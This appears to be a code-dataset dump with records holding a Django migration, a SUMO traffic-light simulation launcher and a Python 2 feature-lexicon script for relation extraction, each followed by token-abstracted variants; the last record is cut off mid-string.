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# Generated by Django 2.2.3 on 2019-07-27 10:41 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('beerFriends', '0006_auto_20190726_1504'), ] operations = [ migrations.AlterField( model_name='beer', name='rating', field=models.FloatField(blank=True, null=True), ), ]
[ "# Generated by Django 2.2.3 on 2019-07-27 10:41\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('beerFriends', '0006_auto_20190726_1504'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='beer',\n name='rating',\n field=models.FloatField(blank=True, null=True),\n ),\n ]\n", "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('beerFriends', '0006_auto_20190726_1504')]\n operations = [migrations.AlterField(model_name='beer', name='rating',\n field=models.FloatField(blank=True, null=True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('beerFriends', '0006_auto_20190726_1504')]\n operations = [migrations.AlterField(model_name='beer', name='rating',\n field=models.FloatField(blank=True, null=True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
401
4775bef3623497e9bbe79ca2d4e9e9da0422c450
# # # # ------------------------------------------------------------------------------------------------------------------------------ # # This program have been developed by Hamed Noori and with citiation of the related publicaitons # can be used without permission. # This program is for a novel architecture for traffic light control system which can form and manipulate # vehicular platoons using clusters of traffic lights. This method, called Platoon-Based Intelligent Traffic Lights (PB-ITL) # is based on coordinated traffic lights that are connected and are also able to communicate with vehicles wirelessly. PB-ITL # groups traffic lights in clusters and each cluster tries to provide proper green status for the platoon of vehicles, using the # Platooning concept which is seeking to utilize close to full capacity of roads. # This lib is a Python-based program which can simulate a city with dynamic intelligent traffic lights. # The author can be reach at [email protected] # # ------------------------------------------------------------------------------------------------------------------------------ # # def start_simulation(sumo, scenario, network, begin, end, interval, output): logging.debug("Finding unused port") unused_port_lock = UnusedPortLock() unused_port_lock.__enter__() remote_port = find_unused_port() logging.debug("Port %d was found" % remote_port) logging.debug("Starting SUMO as a server") sumo = subprocess.Popen(["D:\\PATH\\sumo-gui.exe", "-c", "D:\\\PATH\\Your.sumo.cfg", "--tripinfo-output", output,"--device.emissions.probability", "1.0" , "--remote-port", str(remote_port)], stdout=sys.stdout, stderr=sys.stderr) unused_port_lock.release() try: traci.init(remote_port) run(network, begin, end, interval) except Exception: logging.exception("Something bad happened") finally: logging.exception("Terminating SUMO") terminate_sumo(sumo) unused_port_lock.__exit__()
[ "# \r\n#\r\n#\r\n# ------------------------------------------------------------------------------------------------------------------------------\r\n#\r\n# This program have been developed by Hamed Noori and with citiation of the related publicaitons\r\n# can be used without permission.\r\n# This program is for a novel architecture for traffic light control system which can form and manipulate \r\n# vehicular platoons using clusters of traffic lights. This method, called Platoon-Based Intelligent Traffic Lights (PB-ITL) \r\n# is based on coordinated traffic lights that are connected and are also able to communicate with vehicles wirelessly. PB-ITL \r\n# groups traffic lights in clusters and each cluster tries to provide proper green status for the platoon of vehicles, using the\r\n# Platooning concept which is seeking to utilize close to full capacity of roads. \r\n# This lib is a Python-based program which can simulate a city with dynamic intelligent traffic lights. \r\n# The author can be reach at [email protected]\r\n#\r\n# ------------------------------------------------------------------------------------------------------------------------------\r\n#\r\n# \r\ndef start_simulation(sumo, scenario, network, begin, end, interval, output):\r\n logging.debug(\"Finding unused port\")\r\n \r\n unused_port_lock = UnusedPortLock()\r\n unused_port_lock.__enter__()\r\n remote_port = find_unused_port()\r\n \r\n logging.debug(\"Port %d was found\" % remote_port)\r\n \r\n logging.debug(\"Starting SUMO as a server\")\r\n \r\n sumo = subprocess.Popen([\"D:\\\\PATH\\\\sumo-gui.exe\", \"-c\", \"D:\\\\\\PATH\\\\Your.sumo.cfg\", \"--tripinfo-output\", output,\"--device.emissions.probability\", \"1.0\" , \"--remote-port\", str(remote_port)], stdout=sys.stdout, stderr=sys.stderr) \r\n unused_port_lock.release()\r\n \r\n try: \r\n traci.init(remote_port) \r\n run(network, begin, end, interval)\r\n except Exception:\r\n logging.exception(\"Something bad happened\")\r\n finally:\r\n logging.exception(\"Terminating SUMO\") \r\n terminate_sumo(sumo)\r\n unused_port_lock.__exit__()\r\n \r\n", "def start_simulation(sumo, scenario, network, begin, end, interval, output):\n logging.debug('Finding unused port')\n unused_port_lock = UnusedPortLock()\n unused_port_lock.__enter__()\n remote_port = find_unused_port()\n logging.debug('Port %d was found' % remote_port)\n logging.debug('Starting SUMO as a server')\n sumo = subprocess.Popen(['D:\\\\PATH\\\\sumo-gui.exe', '-c',\n 'D:\\\\\\\\PATH\\\\Your.sumo.cfg', '--tripinfo-output', output,\n '--device.emissions.probability', '1.0', '--remote-port', str(\n remote_port)], stdout=sys.stdout, stderr=sys.stderr)\n unused_port_lock.release()\n try:\n traci.init(remote_port)\n run(network, begin, end, interval)\n except Exception:\n logging.exception('Something bad happened')\n finally:\n logging.exception('Terminating SUMO')\n terminate_sumo(sumo)\n unused_port_lock.__exit__()\n", "<function token>\n" ]
false
402
8102bdf4d29d2d3a1bdddbcfb6045b0660693996
import os import time import argparse import cPickle as pickle from definitions import OieFeatures from definitions.OieExample import OieExample class FeatureLexicon: """ A wrapper around various dictionaries storing the mined data. It holds 5 dictionaries in total. Two of them store mappings\n - str => int\n - int => str\n about all features extracted. An update in these dicts causes an update in the dict holding frequencies, which maps\n - str => float\n The final two dicts contain mappings\n - str => int - int => str\n about features which trigger with frequency that exceeds the given threshold.\n All the string dictionaries keys are of the form 'featDef#value' (i.e. 'posPatternPath#JJ_VV_NN', 'bigrams#e1_t2') """ def __init__(self): self.nextId = 0 # var pointing to the next available id number to be used when inserting new stuff self.id2Str = {} # map: int => str self.str2Id = {} # map: str => int self.id2freq = {} # map: int => float. Gets updated only when 'get_or_add' ins invoked not 'get_or_add_pruned' self.nextIdPruned = 0 # pointer self.id2StrPruned = {} # map: int => str self.str2IdPruned = {} # map: str => int def get_or_add(self, s): """ Returns the numerical ID of the input string mapped by the 'str2Id' dictionary and increments its frequency by 1. If the input string is not present, it inserts it in the 'str2Id' dict, sets its frequency to 1 and returns its new numerical ID. :param s: string to search for. eg s = posPatternPath#JJ_VV_NN :return: the id of the input string as an integer """ if s not in self.str2Id: self.id2Str[self.nextId] = s self.str2Id[s] = self.nextId self.id2freq[self.nextId] = 1 self.nextId += 1 else: self.id2freq[self.str2Id[s]] += 1 return self.str2Id[s] def get_or_add_pruned(self, s): """ Returns the numerical ID of the input string mapped by the 'str2IdPruned' dictionary. If the input string is not present, it inserts it in the 'str2IdPruned' dict and returns its new numerical ID. There is no frequency update here. :param s: string to search for belonging to the pruned ones, eg posPatternPath#NN_VV_ADJ_VBP :return: the id of the input string as an integer """ if s not in self.str2IdPruned: self.id2StrPruned[self.nextIdPruned] = s self.str2IdPruned[s] = self.nextIdPruned self.nextIdPruned += 1 return self.str2IdPruned[s] def get_id(self, a_string): """ :param a_string: a feature such as 'bigrams#e1_t1' :return: the numerical ID from the str2Id dict """ if a_string not in self.str2Id: return None return self.str2Id[a_string] def get_str(self, idx): """ Returns the feature corresponding to the input numerical ID, as a string, eg 'bigrams#e1_t1' :param idx: a numerical ID :return: the feature corresponding to the input ID, mapped by sth id2Str dict """ if idx not in self.id2Str: return None else: return self.id2Str[idx] def get_str_pruned(self, idx): """ Returns the feature corresponding to the input numerical ID, only if the frequency of the feature triggering has passed a given threshold (if the key is found in the id2StrPruned dict). Returns None if not found. :param idx: a numerical ID :return: the feature function name concatenated with '#' and the string value of it (i.e. 'bigrams#e1_t1', 'arg1_lower#java') """ if idx not in self.id2StrPruned: return None else: return self.id2StrPruned[idx] def get_freq(self, idx): """ Returns the number of times the feature, corresponding to the input ID, has occured. :param idx: a numerical ID :return: the frequency of the input ID's feature """ if idx not in self.id2freq: return None return self.id2freq[idx] def get_feature_space_dimensionality(self): """ Returns the number of features that have passed the thresholding\n :return: the number of (unique) entries in the id2strPruned dict """ return self.nextIdPruned def build_feature_lexicon(raw_features, feature_extractors, lexicon): # invokes internally get_or_add building the str2Id, id2Str, id2freq dicts since expand parameter is True print 'Building feature lexicon...' for ex_f in raw_features: get_features(lexicon, feature_extractors, [ex_f[1], ex_f[4], ex_f[5], ex_f[7], ex_f[8], ex_f[6]], ex_f[2], ex_f[3], expand=True) print ' Lexicon now has {} unique entries'.format(lexicon.nextId) def get_features(lexicon, feature_extractors, info, arg1=None, arg2=None, expand=False): """ Returns a list of the numerical IDs of the features extracted from the input information. Input information represents a single sentence in the mined dataset. :type lexicon: FeatureLexicon :param feature_extractors: a list of feature extraction functions as the ones defined in OieFeatures.py eg [trigger, entityTypes, arg1_lower, arg2_lower, bow_clean, entity1Type, entity2Type, lexicalPattern, posPatternPath] :param info: a list containing information of the input datapoint\n Example\n parsing : info[0] = '<-poss<-production->prep->for->pobj->'\n entities : info[1] = 'JOBTITLE-JOBTITLE'\n trig : info[2] = 'TRIGGER:review|performance'\n sentence : info[3] = 'Supervised learning us a subset of learning methods'\n pos : info[4] = 'DT NNP NNP , VBD IN DT NNP JJ NN NN NNP , VBZ JJ NN NN IN CD NNS IN DT NN NN IN DT NN .'\n docPath : info[5] = './2000/01/01/1165031.xml' :param arg1: entity1 string, eg 'Java' :param arg2: entity2 string, eg 'C++' :type expand: Boolean flag controlling whether str2Id, id2Str and id2freq dictionaries should be expanded as new entries appear. If false it is assumed that inner dicts are already maximally populated. :return: the list of feature IDs """ feats = [] for f in feature_extractors: res = f(info, arg1, arg2) if res is not None: for feat_el in generate_feature_element(res): _load_features(lexicon, f.__name__ + "#" + feat_el, feats, expand=expand) return feats def get_thresholded_features(lexicon, feature_extractors, info, arg1, arg2, threshold, expand=False): """ Returns a list of the numerical IDs of the features extracted from the input information which frequency value exceed the given threshold. Input information represents a single sentence in the mined dataset. :type lexicon: FeatureLexicon :param feature_extractors: a list of feature exraction functions as the ones defined in OieFeatures.py eg [trigger, entityTypes, arg1_lower, arg2_lower, bow_clean, entity1Type, entity2Type, lexicalPattern, posPatternPath] :param info: a list containing information of the input datapoint\n Example\n - parsing : l[0] = '<-poss<-production->prep->for->pobj->'\n - entities : l[1] = 'JOBTITLE-JOBTITLE'\n - trig : l[2] = 'TRIGGER:review|performance'\n - sentence : l[3] = 'Supervised learning us a subset of learning methods'\n - pos : l[4] = 'DT NNP NNP , VBD IN DT NNP JJ NN NN NNP , VBZ JJ NN NN IN CD NNS IN DT NN NN IN DT NN .'\n - docPath : l[5] = './2000/01/01/1165031.xml' :param arg1: entity1 string, eg 'Java' :param arg2: entity2 string, eg 'C++' :param expand: flag controlling whether str2IdPruned, id2StrPruned dictionaries should be expanded as new entries appear. If false it is assumed that inner dicts are already maximally populated. :type expand: bool :param threshold: integer to cut-off low frequency feature strings, such as i.e. infrequent bigrams of the form [bigrams#e1_t1, bigrams#e1_t2, .., posPatternPath#JJ_VV_NN] :return: the list of feature IDs """ feats = [] for f in feature_extractors: res = f(info, arg1, arg2) if res is not None: for feat_el in generate_feature_element(res): _load_thresholded_features(lexicon, f.__name__ + "#" + feat_el, feats, threshold, expand=expand) return feats def generate_feature_element(extractor_output): if type(extractor_output) == list: for _ in extractor_output: yield _ else: yield extractor_output def _load_features(lexicon, feat_str_id, feats, expand=False): if expand: feats.append(lexicon.get_or_add(feat_str_id)) else: feat_id = lexicon.get_id(feat_str_id) if feat_id is not None: feats.append(feat_id) def _load_thresholded_features(lexicon, feat_str_id, feats, thres, expand=False): if expand: if lexicon.id2freq[lexicon.get_id(feat_str_id)] > thres: feats.append(lexicon.get_or_add_pruned(feat_str_id)) else: feat_id = lexicon.get_id(feat_str_id) if feat_id is not None: if lexicon.id2freq[feat_id] > thres: feats.append(lexicon.get_or_add_pruned(feat_str_id)) def read_examples(file_name): """ Reads the input tab-separated (\\\\t) file and returns the parsed data as a list of lists of strings. Each line, of the file to read, corresponds to a datapoint and has as many entries as the number of elements of the list returned by definitions.OieFeatures.getBasicCleanFeatures plus one. Raises and IOError if a line found in the input file does not have 9 elements. The returned lists are of the form:\n ['counter_index', 'entry_1', 'entry_2', .., 'entry_9']\n A sample file with the required format is '../data-sample.txt'.\n :param file_name: a file path to read from :type file_name: str :return: of lists of strings. Each inner list has as first element a counter 0..N followed by the entries found in a line returned by definitions.OieFeatures.getBasicCleanFeatures corresponding to the ones in the input file :rtype: list """ start = time.time() print 'Reading examples from tab separated file...' count = 0 i = 0 with open(file_name, 'r') as fp: relation_examples = [] for i, line in enumerate(fp): line.strip() if len(line) == 0 or len(line.split()) == 0: raise IOError else: fields = line.split('\t') assert len(fields) == 9, "a problem with the file format (# fields is wrong) len is " + str(len(fields)) + "instead of 9" relation_examples.append([str(count)] + fields) count += 1 print ' File contained {} lines'.format(i + 1) print ' Datapoints with valid features encoded: {}'.format(count) print ' Done in {:.2f} sec'.format(time.time() - start) return relation_examples def load_features(raw_features_struct, lexicon, examples_list, labels_dict, threshold): """ Encodes the input raw feature values into OieExample objects and appends to the input examples_list\n Reads relation labels_dict, from the input features if found, and updates the corresponding keys in input labels_dict with a list of tokens representing the label\n It also updates the "thresholded" 'str2IdPruned' and 'id2StrPruneddictionaries' .. seealso:: :funct:`read_examples`\nTypically, the input raw features data structure is generated by the above function.\n :param raw_features_struct: the input raw features data structure read from a tab separated file\n A list of lists with each inner list following the below decoder_type for 'getCleanFeatures': * feats[0] : counter * feats[1] : dependency parsing <-, ->, ... * feats[2] : entity 1 (eg java engineer) * feats[3] : entity 2 (eg software engineer) * feats[4] : entity-types-pair (eg JOBTITLE-JOBTITLE) * feats[5] : trigger (eg TRIGGER:is) * feats[6] : document path * feats[7] : whole sentence * feats[8] : sequence of pos tags between e1, e2 (exclusive) * feats[9] : given label for semantic relation/class * info = [feats[1], feats[4], feats[5], feats[7], feats[8], feats[6]] :type raw_features_struct: list of lists of strings :param lexicon: the dictionary "pruned" mappings are updated :type lexicon: FeatureLexicon :param examples_list: the list to populate with generated objects of type definitions.OieExample :type examples_list: list :param labels_dict: the dictionary to update the values with the read relation labels_dict (encoded as a list of tokens). :type labels_dict: dict example ID (int) => goldstandard label (list of tokens/strings) :param threshold: feature has to be found at least 'threshold' number of times :type threshold: int """ start = time.clock() print "Creating training examples and putting into list structure..." index = 0 for i, feats in enumerate(raw_features_struct): # a list of lists of strings [[0, f1, f2, .., f9], [1, ..], .., [N, ..]] feat_ids = get_thresholded_features(lexicon, feat_extractors, [feats[1], feats[4], feats[5], feats[7], feats[8], feats[6]], feats[2], feats[3], expand=True, threshold=threshold) example = OieExample(feats[2], feats[3], feat_ids, feats[5], relation=feats[9]) labels_dict[index] = feats[-1].strip().split(' ') index += 1 examples_list.append(example) print ' Unique thresholded feature keys: {}'.format(lexicon.nextIdPruned) print ' Done in {:.1f} sec'.format(time.clock() - start) def pickle_objects(feat_extrs, feat_lex, dataset_splits, goldstandard_splits, a_file): """Pickles the input objects in the specified file. :param feat_extrs: feature extractors :type feat_extrs: list of callable objects :param feat_lex: indexed feature values extracted from mined sentences :type feat_lex: FeatureLexicon :param dataset_splits: the collection of sentences split into 'train', 'test', 'valid' sets. Maps splits to examples :type dataset_splits: dict; str {'train', 'test', 'valid'} => list (of instances of definitions.OieExample) :param goldstandard_splits: the true relation labels. Maps splits {'train', 'test', 'valid'} to example-label mappings :type goldstandard_splits: dict; str {'train', 'test', 'valid'} => dict (int => list). List holds the tokens (strings) representing the label for the example int ID :param a_file: the target file to pickle the objects to :type a_file: str """ start = time.time() print 'Pickling feature extraction functions, feature lexicon, dataset_splits batch examples and goldstandard_splits labels...' assert type(feat_extrs) == list, 'Expected a list of callables as the 1st object to be pickled' for _ in feat_extrs: assert callable(_) is True, 'Element {} of 1st object is not callable'.format(_) assert isinstance(feat_lex, FeatureLexicon), "Expected an instance of FeatureLexicon as the 2nd object to be pickled. Got '{}' instead".format(type(feat_lex)) assert type(dataset_splits) == dict, 'Expected a dict as the 3rd object to be pickled' for _ in dataset_splits: assert _ in ['train', 'test', 'valid'], "The dict expected as the 3rd object to be pickled, has key '{}' not in ['train', 'test', 'valid']".format(_) assert type(goldstandard_splits) == dict, 'Expected a dict as the 4th object to be pickled' for _ in goldstandard_splits: assert _ in ['train', 'test', 'valid'], "The dict expected as the 4th object to be pickled, has key '{}' not in ['train', 'test', 'valid']".format(_) with open(a_file, 'wb') as pkl_file: pickle.dump(feat_extrs, pkl_file, protocol=pickle.HIGHEST_PROTOCOL) pickle.dump(feat_lex, pkl_file, protocol=pickle.HIGHEST_PROTOCOL) pickle.dump(dataset_splits, pkl_file, protocol=pickle.HIGHEST_PROTOCOL) pickle.dump(goldstandard_splits, pkl_file, protocol=pickle.HIGHEST_PROTOCOL) print ' Done in {:.2f} sec'.format(time.time() - start) def unpickle_objects(a_file, verbose=False, debug=False): """ Unpickles the input file and returns references to the retrieved objects. Objects are assumed to have been pickled in the below order:\n * list: its elements are callable objects representing feature extrating functions * FeatureLexicon: holds the 5 dictionaries (mapping IDs, features (strings) and triggering frequencies), built from the mined sentences * dict: has keys 'train', 'test', 'dev' each mapping to a list of instances of type definitions.OieExample * dict: has keys 'train', 'test', 'dev' each mapping to a dict mapping integers (IDs) to lists of tokens. Each list can have one or more string tokens representing the relation label\n :param a_file: file containing pickled objects :type a_file: str :param verbose: prints informative messages :type verbose: bool :param debug: if true prints the type of each object loaded :type debug: bool :return: references to the unpickled objects :rtype: list, FeatureLexicon, dict, dict """ start = time.time() with open(a_file, 'rb') as pkl_file: if verbose: print "Opened pickled file '{}'".format(a_file) feature_extraction_functions = pickle.load(pkl_file) if debug: print "Loaded object of type '{}'".format(type(feature_extraction_functions).__name__) assert type(feature_extraction_functions) == list the_relation_lexicon = pickle.load(pkl_file) if debug: print "Loaded object of type '{}'".format(type(the_relation_lexicon).__name__) assert isinstance(the_relation_lexicon, FeatureLexicon), "Expected an instance of FeatureLexicon as the 2nd object to be pickled. Got '{}' instead".format(type(the_relation_lexicon)) the_dataset = pickle.load(pkl_file) if debug: print "Loaded object of type '{}'".format(type(the_dataset).__name__) assert type(the_dataset) == dict the_goldstandard = pickle.load(pkl_file) if debug: print "Loaded object of type '{}'".format(type(the_goldstandard).__name__) assert type(the_goldstandard) == dict if verbose: print ' loaded feature extractors:', ', '.join(("'" + str(_.__name__) + "'" for _ in feature_extraction_functions)) print ' loaded dataset with {} splits'.format(', '.join(("'" + _ + "'" for _ in the_dataset.iterkeys()))) print 'Done in {:.2f} sec'.format(time.time() - start) return feature_extraction_functions, the_relation_lexicon, the_dataset, the_goldstandard def get_cmd_arguments(): myparser = argparse.ArgumentParser(description='Processes an Oie file and add its representations to a Python pickled file.') myparser.add_argument('input_file', metavar='input-file', help='input file in the Yao format, like data-sample.txt') myparser.add_argument('pickled_dataset', metavar='pickled-dataset', help='pickle file to be used to store output (created if empty)') myparser.add_argument('--batch', metavar='batch-name', default="train", nargs="?", help="name used as a reference in the pickled file, default is 'train'") myparser.add_argument('--thres', metavar='threshold-value', default="0", nargs="?", type=int, help='minimum feature frequency') myparser.add_argument('--test-mode', action='store_true', help='used for test files. If true the feature space is not expanded, so that previously unseen features are not added to the dicts') return myparser.parse_args() if __name__ == '__main__': t_start = time.time() args = get_cmd_arguments() # reads the tabbed separated file into a list of lists of strings, representing extracted features exs_raw_features = read_examples(args.input_file) feat_extractors = OieFeatures.getBasicCleanFeatures() # list of callable feature extraction functions relation_lexicon = FeatureLexicon() dataset = {} # dict mapping keys 'train', 'test', 'dev' to a list of OieExample instances # dict mapping each key 'train', 'test', 'dev' to a dictionary mapping int to a list of strings, representing goldstandard relation labels # each inner list contains the tokens that comprise the label (i.e. ['is-a']). Most are expected to have a single token. goldstandard = {} if os.path.exists(args.pickled_dataset): # if found pickled objects, else pickle into new file feat_extractors, relation_lexicon, dataset, goldstandard = unpickle_objects(args.pickled_dataset) examples = [] # list of instances of definitions.OieExample relation_labels = {} # dictionary mapping int to list of strings if args.batch in dataset: examples = dataset[args.batch] # list of OieExamples for the 'batch_name' input split of the dataset # dict with the goldstandard labels (lists of token(s)) for the 'batch_name' input split of the dataset relation_labels = goldstandard[args.batch] else: # insert the input batch name as a key in the 'dataset' dict, mapping to an empty list (for now) dataset[args.batch] = examples # insert the input batch name as a key in the 'goldstandard' dict, mapping to an empty dict (for now) goldstandard[args.batch] = relation_labels # update statistics and mappings for given split build_feature_lexicon(exs_raw_features, feat_extractors, relation_lexicon) # update the dataset split and goldstandard mappings with the thresholded extractions load_features(exs_raw_features, relation_lexicon, examples, relation_labels, args.thres) pickle_objects(feat_extractors, relation_lexicon, dataset, goldstandard, args.pickled_dataset)
[ "import os\nimport time\nimport argparse\nimport cPickle as pickle\nfrom definitions import OieFeatures\nfrom definitions.OieExample import OieExample\n\n\nclass FeatureLexicon:\n \"\"\"\n A wrapper around various dictionaries storing the mined data. It holds 5 dictionaries in total. Two of them store\n mappings\\n\n - str => int\\n\n - int => str\\n\n about all features extracted. An update in these dicts causes an update in the dict holding frequencies, which maps\\n\n - str => float\\n\n The final two dicts contain mappings\\n\n - str => int\n - int => str\\n\n about features which trigger with frequency that exceeds the given threshold.\\n\n All the string dictionaries keys are of the form 'featDef#value' (i.e. 'posPatternPath#JJ_VV_NN', 'bigrams#e1_t2')\n \"\"\"\n def __init__(self):\n self.nextId = 0 # var pointing to the next available id number to be used when inserting new stuff\n self.id2Str = {} # map: int => str\n self.str2Id = {} # map: str => int\n self.id2freq = {} # map: int => float. Gets updated only when 'get_or_add' ins invoked not 'get_or_add_pruned'\n self.nextIdPruned = 0 # pointer\n self.id2StrPruned = {} # map: int => str\n self.str2IdPruned = {} # map: str => int\n\n def get_or_add(self, s):\n \"\"\"\n Returns the numerical ID of the input string mapped by the 'str2Id' dictionary and increments its frequency by 1.\n If the input string is not present, it inserts it in the 'str2Id' dict, sets its frequency to 1\n and returns its new numerical ID.\n :param s: string to search for. eg s = posPatternPath#JJ_VV_NN\n :return: the id of the input string as an integer\n \"\"\"\n if s not in self.str2Id:\n self.id2Str[self.nextId] = s\n self.str2Id[s] = self.nextId\n self.id2freq[self.nextId] = 1\n self.nextId += 1\n else:\n self.id2freq[self.str2Id[s]] += 1\n return self.str2Id[s]\n\n def get_or_add_pruned(self, s):\n \"\"\"\n Returns the numerical ID of the input string mapped by the 'str2IdPruned' dictionary.\n If the input string is not present, it inserts it in the 'str2IdPruned' dict and returns its new\n numerical ID. There is no frequency update here.\n :param s: string to search for belonging to the pruned ones, eg posPatternPath#NN_VV_ADJ_VBP\n :return: the id of the input string as an integer\n \"\"\"\n if s not in self.str2IdPruned:\n self.id2StrPruned[self.nextIdPruned] = s\n self.str2IdPruned[s] = self.nextIdPruned\n self.nextIdPruned += 1\n return self.str2IdPruned[s]\n\n def get_id(self, a_string):\n \"\"\"\n :param a_string: a feature such as 'bigrams#e1_t1'\n :return: the numerical ID from the str2Id dict\n \"\"\"\n if a_string not in self.str2Id:\n return None\n return self.str2Id[a_string]\n\n def get_str(self, idx):\n \"\"\"\n Returns the feature corresponding to the input numerical ID, as a string, eg 'bigrams#e1_t1'\n :param idx: a numerical ID\n :return: the feature corresponding to the input ID, mapped by sth id2Str dict\n \"\"\"\n if idx not in self.id2Str:\n return None\n else:\n return self.id2Str[idx]\n\n def get_str_pruned(self, idx):\n \"\"\"\n Returns the feature corresponding to the input numerical ID, only if the frequency of the feature triggering\n has passed a given threshold (if the key is found in the id2StrPruned dict). Returns None if not found.\n :param idx: a numerical ID\n :return: the feature function name concatenated with '#' and the string value of it (i.e. 'bigrams#e1_t1', 'arg1_lower#java')\n \"\"\"\n if idx not in self.id2StrPruned:\n return None\n else:\n return self.id2StrPruned[idx]\n\n def get_freq(self, idx):\n \"\"\"\n Returns the number of times the feature, corresponding to the input ID, has occured.\n :param idx: a numerical ID\n :return: the frequency of the input ID's feature\n \"\"\"\n if idx not in self.id2freq:\n return None\n return self.id2freq[idx]\n\n def get_feature_space_dimensionality(self):\n \"\"\"\n Returns the number of features that have passed the thresholding\\n\n :return: the number of (unique) entries in the id2strPruned dict\n \"\"\"\n return self.nextIdPruned\n\n\ndef build_feature_lexicon(raw_features, feature_extractors, lexicon):\n # invokes internally get_or_add building the str2Id, id2Str, id2freq dicts since expand parameter is True\n print 'Building feature lexicon...'\n for ex_f in raw_features:\n get_features(lexicon, feature_extractors, [ex_f[1], ex_f[4], ex_f[5], ex_f[7], ex_f[8], ex_f[6]], ex_f[2], ex_f[3], expand=True)\n print ' Lexicon now has {} unique entries'.format(lexicon.nextId)\n\n\ndef get_features(lexicon, feature_extractors, info, arg1=None, arg2=None, expand=False):\n \"\"\"\n Returns a list of the numerical IDs of the features extracted from the input information. Input information\n represents a single sentence in the mined dataset.\n :type lexicon: FeatureLexicon\n :param feature_extractors: a list of feature extraction functions as the ones defined in OieFeatures.py eg [trigger,\n entityTypes, arg1_lower, arg2_lower, bow_clean, entity1Type, entity2Type, lexicalPattern, posPatternPath]\n :param info: a list containing information of the input datapoint\\n\n Example\\n\n parsing : info[0] = '<-poss<-production->prep->for->pobj->'\\n\n entities : info[1] = 'JOBTITLE-JOBTITLE'\\n\n trig : info[2] = 'TRIGGER:review|performance'\\n\n sentence : info[3] = 'Supervised learning us a subset of learning methods'\\n\n pos : info[4] = 'DT NNP NNP , VBD IN DT NNP JJ NN NN NNP , VBZ JJ NN NN IN CD NNS IN DT NN NN IN DT NN .'\\n\n docPath : info[5] = './2000/01/01/1165031.xml'\n :param arg1: entity1 string, eg 'Java'\n :param arg2: entity2 string, eg 'C++'\n :type expand: Boolean flag controlling whether str2Id, id2Str and id2freq dictionaries should be expanded as new\n entries appear. If false it is assumed that inner dicts are already maximally populated.\n :return: the list of feature IDs\n \"\"\"\n feats = []\n for f in feature_extractors:\n res = f(info, arg1, arg2)\n if res is not None:\n for feat_el in generate_feature_element(res):\n _load_features(lexicon, f.__name__ + \"#\" + feat_el, feats, expand=expand)\n return feats\n\n\ndef get_thresholded_features(lexicon, feature_extractors, info, arg1, arg2, threshold, expand=False):\n \"\"\"\n Returns a list of the numerical IDs of the features extracted from the input information which frequency value\n exceed the given threshold. Input information represents a single sentence in the mined dataset.\n :type lexicon: FeatureLexicon\n :param feature_extractors: a list of feature exraction functions as the ones defined in OieFeatures.py eg [trigger,\n entityTypes, arg1_lower, arg2_lower, bow_clean, entity1Type, entity2Type, lexicalPattern, posPatternPath]\n :param info: a list containing information of the input datapoint\\n\n Example\\n\n - parsing : l[0] = '<-poss<-production->prep->for->pobj->'\\n\n - entities : l[1] = 'JOBTITLE-JOBTITLE'\\n\n - trig : l[2] = 'TRIGGER:review|performance'\\n\n - sentence : l[3] = 'Supervised learning us a subset of learning methods'\\n\n - pos : l[4] = 'DT NNP NNP , VBD IN DT NNP JJ NN NN NNP , VBZ JJ NN NN IN CD NNS IN DT NN NN IN DT NN .'\\n\n - docPath : l[5] = './2000/01/01/1165031.xml'\n :param arg1: entity1 string, eg 'Java'\n :param arg2: entity2 string, eg 'C++'\n :param expand: flag controlling whether str2IdPruned, id2StrPruned dictionaries should be expanded as new\n entries appear. If false it is assumed that inner dicts are already maximally populated.\n :type expand: bool\n :param threshold: integer to cut-off low frequency feature strings, such as i.e. infrequent bigrams of the form [bigrams#e1_t1, bigrams#e1_t2, .., posPatternPath#JJ_VV_NN]\n :return: the list of feature IDs\n \"\"\"\n feats = []\n for f in feature_extractors:\n res = f(info, arg1, arg2)\n if res is not None:\n for feat_el in generate_feature_element(res):\n _load_thresholded_features(lexicon, f.__name__ + \"#\" + feat_el, feats, threshold, expand=expand)\n return feats\n\n\ndef generate_feature_element(extractor_output):\n if type(extractor_output) == list:\n for _ in extractor_output:\n yield _\n else:\n yield extractor_output\n\n\ndef _load_features(lexicon, feat_str_id, feats, expand=False):\n if expand:\n feats.append(lexicon.get_or_add(feat_str_id))\n else:\n feat_id = lexicon.get_id(feat_str_id)\n if feat_id is not None:\n feats.append(feat_id)\n\n\ndef _load_thresholded_features(lexicon, feat_str_id, feats, thres, expand=False):\n if expand:\n if lexicon.id2freq[lexicon.get_id(feat_str_id)] > thres:\n feats.append(lexicon.get_or_add_pruned(feat_str_id))\n else:\n feat_id = lexicon.get_id(feat_str_id)\n if feat_id is not None:\n if lexicon.id2freq[feat_id] > thres:\n feats.append(lexicon.get_or_add_pruned(feat_str_id))\n\n\ndef read_examples(file_name):\n \"\"\"\n Reads the input tab-separated (\\\\\\\\t) file and returns the parsed data as a list of lists of strings. Each line, of the file to read, corresponds to a datapoint and has as many entries as the number of elements of the list returned by definitions.OieFeatures.getBasicCleanFeatures plus one.\n Raises and IOError if a line found in the input file does not have 9 elements. The returned lists are of the form:\\n\n ['counter_index', 'entry_1', 'entry_2', .., 'entry_9']\\n\n A sample file with the required format is '../data-sample.txt'.\\n\n :param file_name: a file path to read from\n :type file_name: str\n :return: of lists of strings. Each inner list has as first element a counter 0..N followed by the entries found in a line\n returned by definitions.OieFeatures.getBasicCleanFeatures corresponding to the ones in the input file\n :rtype: list\n \"\"\"\n start = time.time()\n print 'Reading examples from tab separated file...'\n count = 0\n i = 0\n with open(file_name, 'r') as fp:\n relation_examples = []\n for i, line in enumerate(fp):\n line.strip()\n if len(line) == 0 or len(line.split()) == 0:\n raise IOError\n else:\n fields = line.split('\\t')\n assert len(fields) == 9, \"a problem with the file format (# fields is wrong) len is \" + str(len(fields)) + \"instead of 9\"\n relation_examples.append([str(count)] + fields)\n count += 1\n print ' File contained {} lines'.format(i + 1)\n print ' Datapoints with valid features encoded: {}'.format(count)\n print ' Done in {:.2f} sec'.format(time.time() - start)\n return relation_examples\n\n\ndef load_features(raw_features_struct, lexicon, examples_list, labels_dict, threshold):\n \"\"\"\n Encodes the input raw feature values into OieExample objects and appends to the input examples_list\\n\n Reads relation labels_dict, from the input features if found, and updates the 